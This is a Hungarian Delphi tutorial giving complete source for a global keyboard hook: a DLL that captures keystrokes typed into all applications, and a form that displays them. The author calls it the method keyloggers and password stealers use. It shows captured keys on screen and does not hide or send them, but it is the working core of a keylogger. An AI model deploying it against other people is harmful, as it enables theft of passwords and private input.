Applikáció mentes leütött billentyü 2

Egy ilyen nevü példánk már volt, valljuk be, hogy elég gagyi megoldással (de működött). Most azt a példát mutatom be, amivel a keyloggerek jelszólopók is dolgoznak. A program két részből áll, egy DLL, és egy unit. Aki még nem fordított be DLL-t, annak elmondom, hogy FILE/NEW ott dll -t kell kérni, a helyére bemásolod az alábbi programot, és nyomsz egy F9-et.  A második része a progginak az unit, ehez sok ész nem kell, csak fontos, hogy saját könyvtárba másold a DLL-t, "xakk.dll"-nek átnevezve.

DLL
library xakk;

uses Windows,
Messages;

const
CM_MANDA_TECLA = WM_USER + $1000;

var
HookDeTeclado : HHook;
FicheroM : THandle;
PReceptor : ^Integer;

function CallBackDelHook( Code: Integer;wParam:WPARAM;lParam : LPARAM): LRESULT; stdcall;
begin
if code=HC_ACTION then
begin
FicheroM:=OpenFileMapping(FILE_MAP_READ,False,'ElReceptor');
if FicheroM<>0 then
begin
PReceptor:=MapViewOfFile(FicheroM,FILE_MAP_READ,0,0,0);
PostMessage(PReceptor^,CM_MANDA_TECLA,wParam,lParam);
UnmapViewOfFile(PReceptor);
CloseHandle(FicheroM);
end;
end;
Result := CallNextHookEx(HookDeTeclado, Code, wParam, lParam)
end;

procedure HookOn; stdcall;
begin
HookDeTeclado:=SetWindowsHookEx(WH_KEYBOARD, @CallBackDelHook, HInstance , 0);
end;

procedure HookOff; stdcall;
begin
UnhookWindowsHookEx(HookDeTeclado);
end;

exports
HookOn,
HookOff;
begin
end.

És az unit
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
const
NombreDLL = 'xakk.dll';
CM_MANDA_TECLA = WM_USER + $1000;
type
THookTeclado=procedure; stdcall;
type
TForm1 = class(TForm)
Memo1: TMemo;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
FicheroM : THandle;
PReceptor : ^Integer;
HandleDLL : THandle;
HookOn,
HookOff : THookTeclado;

procedure LlegaDelHook(var message: TMessage); message CM_MANDA_TECLA;
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
Memo1.ReadOnly:=TRUE;
HandleDLL:=LoadLibrary( PChar(ExtractFilePath(Application.Exename)+
NombreDLL ) );
if HandleDLL = 0 then raise Exception.Create('No se pudo cargar la DLL');
@HookOn :=GetProcAddress(HandleDLL, 'HookOn');
@HookOff:=GetProcAddress(HandleDLL, 'HookOff');
IF not assigned(HookOn) or not assigned(HookOff) then
raise Exception.Create('No se encontraron las funciones en la DLL'+#13+
'Cannot find the required DLL functions');
FicheroM:=CreateFileMapping( $FFFFFFFF,nil,PAGE_READWRITE,0,
SizeOf(Integer),'ElReceptor');
if FicheroM=0 then
raise Exception.Create( 'Error al crear el fichero'+
'/Error while create file');
PReceptor:=MapViewOfFile(FicheroM,FILE_MAP_WRITE,0,0,0);
PReceptor^:=Handle;
HookOn;
end;

procedure TForm1.LlegaDelHook(var message: TMessage);
var
NombreTecla : array[0..100] of char;
Accion : string;
begin
GetKeyNameText(Message.LParam,@NombreTecla,100);
if ((Message.lParam shr 31) and 1)=1 then Accion:='Soltada'
else
if ((Message.lParam shr 30) and 1)=1 then Accion:='Repetida'
else Accion:='Pulsada';
Memo1.Lines.Append( Accion+' tecla: '+String(NombreTecla) );
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
if Assigned(HookOff) then HookOff;
if HandleDLL<>0 then FreeLibrary(HandleDLL);
if FicheroM<>0 then
begin
UnmapViewOfFile(PReceptor);
CloseHandle(FicheroM);
end;
end;

end.